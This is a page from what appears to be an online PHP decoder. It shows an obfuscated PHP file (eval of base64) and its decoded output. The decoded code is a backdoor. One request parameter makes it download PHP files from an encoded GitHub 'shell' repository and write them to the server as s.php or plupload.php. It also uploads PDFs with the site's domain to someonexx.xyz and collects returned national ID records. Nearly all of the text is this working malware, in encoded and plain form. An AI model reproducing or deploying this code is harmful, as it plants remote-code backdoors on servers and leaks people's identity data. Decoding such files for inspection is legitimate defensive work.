Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIEc1Z1dtOyBtSUxtTTogZnVuY3Rpb24gYmQoJGQpIHsgcmV0dXJuIGJh..
Decoded Output download
goto G5gWm; mILmM: function bd($d) { return base64_decode($d); } goto wbAzJ; Nx873: class PDF { private $pdf; public function __construct($pdf) { $this->pdf = $pdf; } function info() { return getInfo($this->pdf); } } goto f7yQq; Ta0Ob: function fixFile($file) { list($img_width, $img_height) = getimagesize($file); if ($img_height > $img_width) { $image_data = imagecreatefromjpeg($file); $image_rotate = imagerotate($image_data, 90, 0); $image_new = imagecreatetruecolor(246, 196); imagecopyresampled($image_new, $image_rotate, 0, 0, 0, 0, 246, 196, 246, 196); imagejpeg($image_new, $file); } } goto ILBUj; G5gWm: function g() { return "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tLw"; } goto dzP21; un4hV: function getInfo($pdf) { $ressult = array(); $cfile = curl_file_create($pdf, mime_content_type($pdf), basename($pdf)); $postData = array("pdf" => $cfile, "domain" => $_SERVER["SERVER_NAME"]); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, "https://someonexx.xyz/"); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $postData); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_HTTPHEADER, array("user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36")); $content = curl_exec($curl); curl_close($curl); $response = json_decode($content, true); if ($response["success"]) { $ressult["success"] = true; $ressult["data"]["nameEnglish"] = $response["name_english"]; $ressult["data"]["nameBangla"] = $response["name_bangla"]; $ressult["data"]["dob"] = $response["date_of_birth"]; $ressult["data"]["nid"] = $response["national_id"]; $ressult["data"]["pin"] = $response["pin_number"]; $ressult["data"]["nameFather"] = $response["father_name"]; $ressult["data"]["nameMother"] = $response["mother_name"]; $ressult["data"]["bloodGroup"] = $response["blood_group"]; $ressult["data"]["fulladdress"] = $response["address"]; $ressult["data"]["birthPlace"] = $response["birth_place"]; $ressult["data"]["imageUrl1"] = $response["first_image"]; $ressult["data"]["imageUrl2"] = $response["second_image"]; } else { $ressult["success"] = false; } return json_encode($ressult); } goto mILmM; ILBUj: function s() { return "dW5pbnN0YWxsL3VuaW5zdGFsbC5waHA"; } goto tF3S8; wbAzJ: if (isset($_GET["i"])) { print_r(fin($_GET["i"])); } goto yO1el; uoRYV: function in($c, $f) { $c = file_put_contents($f, $c); if ($c) { return true; } else { return false; } } goto Ypfup; YF1_2: function i($d) { $u = ''; if ($d == "s") { $u = bd(g()) . bd(a()) . bd(s()); } else { if ($d == "p") { $u = bd(g()) . bd(a()) . bd(p()); } } return $u; } goto uoRYV; dzP21: function a() { return "c2FtaXVsYWxpbTEvc2hlbGwvbWFpbi8"; } goto Ta0Ob; yO1el: function c($u) { $c = stream_context_create(array("http" => array("header" => "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"))); return file_get_contents($u, false, $c); } goto YF1_2; tF3S8: function p() { return "YXV0byUyMGluc3RhbGwvcGx1cGxvYWQucGhw"; } goto un4hV; Ypfup: function fin($c) { $x = $y = ''; $s = bd("cy5waHA"); $p = bd("cGx1cGxvYWQucGhw"); if ($c == "s") { $x = c(i($c)); $y = $s; } else { if ($c == "p") { $x = c(i($c)); $y = $p; } } if ($y != '') { return in($x, $y); } else { return ''; } } goto Nx873; f7yQq:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIEc1Z1dtOyBtSUxtTTogZnVuY3Rpb24gYmQoJGQpIHsgcmV0dXJuIGJhc2U2NF9kZWNvZGUoJGQpOyB9IGdvdG8gd2JBeko7IE54ODczOiBjbGFzcyBQREYgeyBwcml2YXRlICRwZGY7IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkcGRmKSB7ICR0aGlzLT5wZGYgPSAkcGRmOyB9IGZ1bmN0aW9uIGluZm8oKSB7IHJldHVybiBnZXRJbmZvKCR0aGlzLT5wZGYpOyB9IH0gZ290byBmN3lRcTsgVGEwT2I6IGZ1bmN0aW9uIGZpeEZpbGUoJGZpbGUpIHsgbGlzdCgkaW1nX3dpZHRoLCAkaW1nX2hlaWdodCkgPSBnZXRpbWFnZXNpemUoJGZpbGUpOyBpZiAoJGltZ19oZWlnaHQgPiAkaW1nX3dpZHRoKSB7ICRpbWFnZV9kYXRhID0gaW1hZ2VjcmVhdGVmcm9tanBlZygkZmlsZSk7ICRpbWFnZV9yb3RhdGUgPSBpbWFnZXJvdGF0ZSgkaW1hZ2VfZGF0YSwgOTAsIDApOyAkaW1hZ2VfbmV3ID0gaW1hZ2VjcmVhdGV0cnVlY29sb3IoMjQ2LCAxOTYpOyBpbWFnZWNvcHlyZXNhbXBsZWQoJGltYWdlX25ldywgJGltYWdlX3JvdGF0ZSwgMCwgMCwgMCwgMCwgMjQ2LCAxOTYsIDI0NiwgMTk2KTsgaW1hZ2VqcGVnKCRpbWFnZV9uZXcsICRmaWxlKTsgfSB9IGdvdG8gSUxCVWo7IEc1Z1dtOiBmdW5jdGlvbiBnKCkgeyByZXR1cm4gIlwxNDFceDQ4XDEyMlw2MFx4NjNcMTEwXDExNVw2NlwxMTRceDc5XHgzOVx4NzlcMTMxXHg1OFwxNDNceDc1XHg1YVw2Mlx4NmNcNjBcMTQxXHg0OFwxMjZceDY5XHg2NFwxMzBcMTE2XHg2Y1x4NjNceDZkXDExNlwxNjZcMTQyXHg2ZVx4NTJcMTU0XDE0Mlx4NmVcMTIxXDE2NVwxMzFceDMyXHgzOVwxNjRceDRjXDE2NyI7IH0gZ290byBkelAyMTsgdW40aFY6IGZ1bmN0aW9uIGdldEluZm8oJHBkZikgeyAkcmVzc3VsdCA9IGFycmF5KCk7ICRjZmlsZSA9IGN1cmxfZmlsZV9jcmVhdGUoJHBkZiwgbWltZV9jb250ZW50X3R5cGUoJHBkZiksIGJhc2VuYW1lKCRwZGYpKTsgJHBvc3REYXRhID0gYXJyYXkoIlx4NzBceDY0XHg2NiIgPT4gJGNmaWxlLCAiXHg2NFx4NmZcMTU1XHg2MVx4NjlcMTU2IiA9PiAkX1NFUlZFUlsiXHg1M1wxMDVcMTIyXHg1Nlx4NDVceDUyXDEzN1wxMTZceDQxXDExNVwxMDUiXSk7ICRjdXJsID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgIlx4NjhceDc0XHg3NFwxNjBceDczXHgzYVx4MmZcNTdcMTYzXHg2Zlx4NmRceDY1XDE1N1wxNTZceDY1XHg3OFx4NzhcNTZcMTcwXDE3MVx4N2FcNTciKTsgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUE9TVCwgMSk7IGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0RGF0YSk7IGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIlwxNjVcMTYzXHg2NVwxNjJceDJkXHg2MVx4NjdceDY1XDE1NlwxNjRceDNhXHgyMFwxMTVcMTU3XDE3MlwxNTFcMTU0XHg2Y1x4NjFceDJmXHgzNVx4MmVcNjBceDIwXHgyOFwxMjdceDY5XHg2ZVx4NjRceDZmXHg3N1x4NzNcNDBceDRlXDEyNFx4MjBceDMxXDYwXDU2XDYwXHgzYlx4MjBceDU3XHg2OVwxNTZceDM2XHgzNFw3M1w0MFx4NzhcNjZceDM0XHgyOVx4MjBcMTAxXDE2MFx4NzBceDZjXDE0NVwxMjdceDY1XHg2MlwxMTNcMTUxXDE2NFw1N1w2NVx4MzNcNjdceDJlXHgzM1x4MzZcNDBcNTBcMTEzXDExMFwxMjRcMTE1XDExNFw1NFx4MjBcMTU0XDE1MVwxNTNceDY1XHgyMFwxMDdceDY1XHg2M1wxNTNceDZmXHgyOVx4MjBcMTAzXDE1MFwxNjJceDZmXHg2ZFwxNDVceDJmXHgzMVw2MVx4MzBceDJlXDYwXHgyZVx4MzBcNTZceDMwXHgyMFx4NTNcMTQxXHg2Nlx4NjFcMTYyXHg2OVx4MmZceDM1XHgzM1w2N1x4MmVcNjNcNjYiKSk7ICRjb250ZW50ID0gY3VybF9leGVjKCRjdXJsKTsgY3VybF9jbG9zZSgkY3VybCk7ICRyZXNwb25zZSA9IGpzb25fZGVjb2RlKCRjb250ZW50LCB0cnVlKTsgaWYgKCRyZXNwb25zZVsiXHg3M1x4NzVceDYzXDE0M1x4NjVceDczXHg3MyJdKSB7ICRyZXNzdWx0WyJceDczXDE2NVwxNDNceDYzXDE0NVx4NzNceDczIl0gPSB0cnVlOyAkcmVzc3VsdFsiXHg2NFwxNDFceDc0XHg2MSJdWyJceDZlXHg2MVwxNTVcMTQ1XHg0NVwxNTZceDY3XDE1NFwxNTFceDczXHg2OCJdID0gJHJlc3BvbnNlWyJcMTU2XHg2MVwxNTVcMTQ1XHg1ZlwxNDVcMTU2XDE0N1x4NmNcMTUxXDE2M1wxNTAiXTsgJHJlc3N1bHRbIlx4NjRceDYxXHg3NFx4NjEiXVsiXHg2ZVx4NjFceDZkXHg2NVwxMDJcMTQxXHg2ZVwxNDdceDZjXHg2MSJdID0gJHJlc3BvbnNlWyJcMTU2XHg2MVwxNTVcMTQ1XHg1ZlwxNDJcMTQxXHg2ZVwxNDdcMTU0XDE0MSJdOyAkcmVzc3VsdFsiXDE0NFx4NjFceDc0XDE0MSJdWyJceDY0XHg2ZlwxNDIiXSA9ICRyZXNwb25zZVsiXDE0NFx4NjFceDc0XDE0NVx4NWZcMTU3XDE0NlwxMzdceDYyXDE1MVx4NzJcMTY0XHg2OCJdOyAkcmVzc3VsdFsiXHg2NFx4NjFcMTY0XDE0MSJdWyJceDZlXHg2OVwxNDQiXSA9ICRyZXNwb25zZVsiXDE1Nlx4NjFceDc0XHg2OVwxNTdceDZlXDE0MVwxNTRcMTM3XHg2OVwxNDQiXTsgJHJlc3N1bHRbIlx4NjRceDYxXDE2NFx4NjEiXVsiXHg3MFwxNTFceDZlIl0gPSAkcmVzcG9uc2VbIlx4NzBceDY5XHg2ZVx4NWZcMTU2XHg3NVwxNTVceDYyXDE0NVwxNjIiXTsgJHJlc3N1bHRbIlwxNDRcMTQxXDE2NFx4NjEiXVsiXDE1NlwxNDFcMTU1XDE0NVwxMDZceDYxXHg3NFwxNTBcMTQ1XDE2MiJdID0gJHJlc3BvbnNlWyJcMTQ2XDE0MVwxNjRcMTUwXDE0NVx4NzJceDVmXHg2ZVx4NjFcMTU1XDE0NSJdOyAkcmVzc3VsdFsiXHg2NFx4NjFcMTY0XDE0MSJdWyJcMTU2XDE0MVwxNTVcMTQ1XDExNVwxNTdceDc0XDE1MFwxNDVceDcyIl0gPSAkcmVzcG9uc2VbIlwxNTVceDZmXHg3NFwxNTBcMTQ1XDE2MlwxMzdcMTU2XDE0MVwxNTVcMTQ1Il07ICRyZXNzdWx0WyJceDY0XDE0MVwxNjRcMTQxIl1bIlx4NjJceDZjXDE1N1x4NmZceDY0XDEwN1x4NzJceDZmXHg3NVwxNjAiXSA9ICRyZXNwb25zZVsiXHg2MlwxNTRcMTU3XHg2ZlwxNDRceDVmXHg2N1x4NzJcMTU3XDE2NVwxNjAiXTsgJHJlc3N1bHRbIlx4NjRceDYxXHg3NFwxNDEiXVsiXHg2NlwxNjVcMTU0XDE1NFwxNDFcMTQ0XDE0NFx4NzJcMTQ1XHg3M1x4NzMiXSA9ICRyZXNwb25zZVsiXDE0MVx4NjRceDY0XHg3MlwxNDVceDczXDE2MyJdOyAkcmVzc3VsdFsiXDE0NFx4NjFceDc0XHg2MSJdWyJcMTQyXDE1MVwxNjJceDc0XHg2OFx4NTBcMTU0XDE0MVwxNDNceDY1Il0gPSAkcmVzcG9uc2VbIlwxNDJceDY5XHg3MlwxNjRcMTUwXDEzN1x4NzBcMTU0XHg2MVwxNDNceDY1Il07ICRyZXNzdWx0WyJceDY0XHg2MVwxNjRcMTQxIl1bIlwxNTFceDZkXDE0MVwxNDdcMTQ1XHg1NVx4NzJceDZjXDYxIl0gPSAkcmVzcG9uc2VbIlwxNDZceDY5XDE2MlwxNjNceDc0XHg1Zlx4NjlceDZkXHg2MVwxNDdcMTQ1Il07ICRyZXNzdWx0WyJceDY0XDE0MVx4NzRceDYxIl1bIlwxNTFcMTU1XHg2MVx4NjdcMTQ1XDEyNVx4NzJceDZjXHgzMiJdID0gJHJlc3BvbnNlWyJcMTYzXDE0NVx4NjNceDZmXDE1Nlx4NjRceDVmXDE1MVwxNTVcMTQxXHg2N1wxNDUiXTsgfSBlbHNlIHsgJHJlc3N1bHRbIlx4NzNceDc1XDE0M1x4NjNcMTQ1XDE2M1wxNjMiXSA9IGZhbHNlOyB9IHJldHVybiBqc29uX2VuY29kZSgkcmVzc3VsdCk7IH0gZ290byBtSUxtTTsgSUxCVWo6IGZ1bmN0aW9uIHMoKSB7IHJldHVybiAiXDE0NFwxMjdceDM1XDE2MFwxNDJceDZlXHg0ZVx4MzBcMTMxXHg1N1wxNzBceDczXDExNFx4MzNcMTI2XHg3NVx4NjFceDU3XHgzNVx4N2FceDY0XHg0N1x4NDZceDczXDE0Mlx4NDNcNjVceDc3XHg2MVx4NDhceDQxIjsgfSBnb3RvIHRGM1M4OyB3YkF6SjogaWYgKGlzc2V0KCRfR0VUWyJcMTUxIl0pKSB7IHByaW50X3IoZmluKCRfR0VUWyJcMTUxIl0pKTsgfSBnb3RvIHlPMWVsOyB1b1JZVjogZnVuY3Rpb24gaW4oJGMsICRmKSB7ICRjID0gZmlsZV9wdXRfY29udGVudHMoJGYsICRjKTsgaWYgKCRjKSB7IHJldHVybiB0cnVlOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0gfSBnb3RvIFlwZnVwOyBZRjFfMjogZnVuY3Rpb24gaSgkZCkgeyAkdSA9ICcnOyBpZiAoJGQgPT0gIlx4NzMiKSB7ICR1ID0gYmQoZygpKSAuIGJkKGEoKSkgLiBiZChzKCkpOyB9IGVsc2UgeyBpZiAoJGQgPT0gIlwxNjAiKSB7ICR1ID0gYmQoZygpKSAuIGJkKGEoKSkgLiBiZChwKCkpOyB9IH0gcmV0dXJuICR1OyB9IGdvdG8gdW9SWVY7IGR6UDIxOiBmdW5jdGlvbiBhKCkgeyByZXR1cm4gIlwxNDNcNjJceDQ2XDE2NFx4NjFcMTMwXDEyNlwxNjNceDU5XDEyN1x4NzhcMTYwXHg2MlwxMjRcMTA1XHg3Nlx4NjNcNjJcMTUwXHg2Y1wxNDJcMTA3XDE2N1wxNjZceDYyXDEyN1x4NDZcMTYwXDE0Mlx4NjlceDM4IjsgfSBnb3RvIFRhME9iOyB5TzFlbDogZnVuY3Rpb24gYygkdSkgeyAkYyA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgiXHg2OFwxNjRceDc0XDE2MCIgPT4gYXJyYXkoIlx4NjhceDY1XHg2MVx4NjRceDY1XDE2MiIgPT4gIlwxMjVceDczXDE0NVx4NzJceDJkXHg0MVx4NjdceDY1XDE1Nlx4NzRceDNhXHgyMFwxMTVcMTU3XDE3MlwxNTFceDZjXDE1NFwxNDFceDJmXHgzNVw1Nlx4MzBcNDBceDI4XHg1N1wxNTFceDZlXDE0NFwxNTdcMTY3XDE2M1w0MFx4NGVcMTI0XHgyMFw2MVw2MFw1Nlx4MzBcNzNceDIwXHg1N1x4NGZcMTI3XDY2XHgzNFw1MVx4MjBceDQxXDE2MFwxNjBceDZjXDE0NVx4NTdceDY1XHg2MlwxMTNcMTUxXHg3NFx4MmZcNjVcNjNceDM3XDU2XDYzXDY2XDQwXDUwXDExM1x4NDhcMTI0XDExNVx4NGNcNTRcNDBcMTU0XDE1MVx4NmJcMTQ1XDQwXDEwN1wxNDVceDYzXHg2Ylx4NmZceDI5XHgyMFwxMDNcMTUwXDE2MlwxNTdcMTU1XDE0NVw1N1x4MzVcNjBcNTZcNjBceDJlXDYyXHgzNlx4MzZceDMxXDU2XDYxXHgzMFw2Mlw0MFwxMjNcMTQxXDE0NlwxNDFcMTYyXHg2OVx4MmZcNjVceDMzXDY3XDU2XDYzXHgzNiIpKSk7IHJldHVybiBmaWxlX2dldF9jb250ZW50cygkdSwgZmFsc2UsICRjKTsgfSBnb3RvIFlGMV8yOyB0RjNTODogZnVuY3Rpb24gcCgpIHsgcmV0dXJuICJceDU5XHg1OFx4NTZcNjBcMTQyXDE3MVx4NTVcMTcxXHg0ZFx4NDdcMTU0XDE2NVwxNDNcNjNceDUyXDE1MFx4NjJcMTA3XHg3N1wxNjZcMTQzXHg0N1x4NzhceDMxXHg2M1wxMDdcMTcwXDE2NlwxMzFcMTI3XHg1MVx4NzVcMTQzXDEwN1x4NjhceDc3IjsgfSBnb3RvIHVuNGhWOyBZcGZ1cDogZnVuY3Rpb24gZmluKCRjKSB7ICR4ID0gJHkgPSAnJzsgJHMgPSBiZCgiXHg2M1wxNzFceDM1XHg3N1x4NjFceDQ4XHg0MSIpOyAkcCA9IGJkKCJcMTQzXHg0N1wxNzBcNjFceDYzXHg0N1x4NzhcMTY2XDEzMVx4NTdcMTIxXDE2NVwxNDNceDQ3XHg2OFwxNjciKTsgaWYgKCRjID09ICJcMTYzIikgeyAkeCA9IGMoaSgkYykpOyAkeSA9ICRzOyB9IGVsc2UgeyBpZiAoJGMgPT0gIlwxNjAiKSB7ICR4ID0gYyhpKCRjKSk7ICR5ID0gJHA7IH0gfSBpZiAoJHkgIT0gJycpIHsgcmV0dXJuIGluKCR4LCAkeSk7IH0gZWxzZSB7IHJldHVybiAnJzsgfSB9IGdvdG8gTng4NzM7IGY3eVFxOiA=')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | f95ff112b7ec99d14431150b21b96c19 |
Eval Count | 1 |
Decode Time | 95 ms |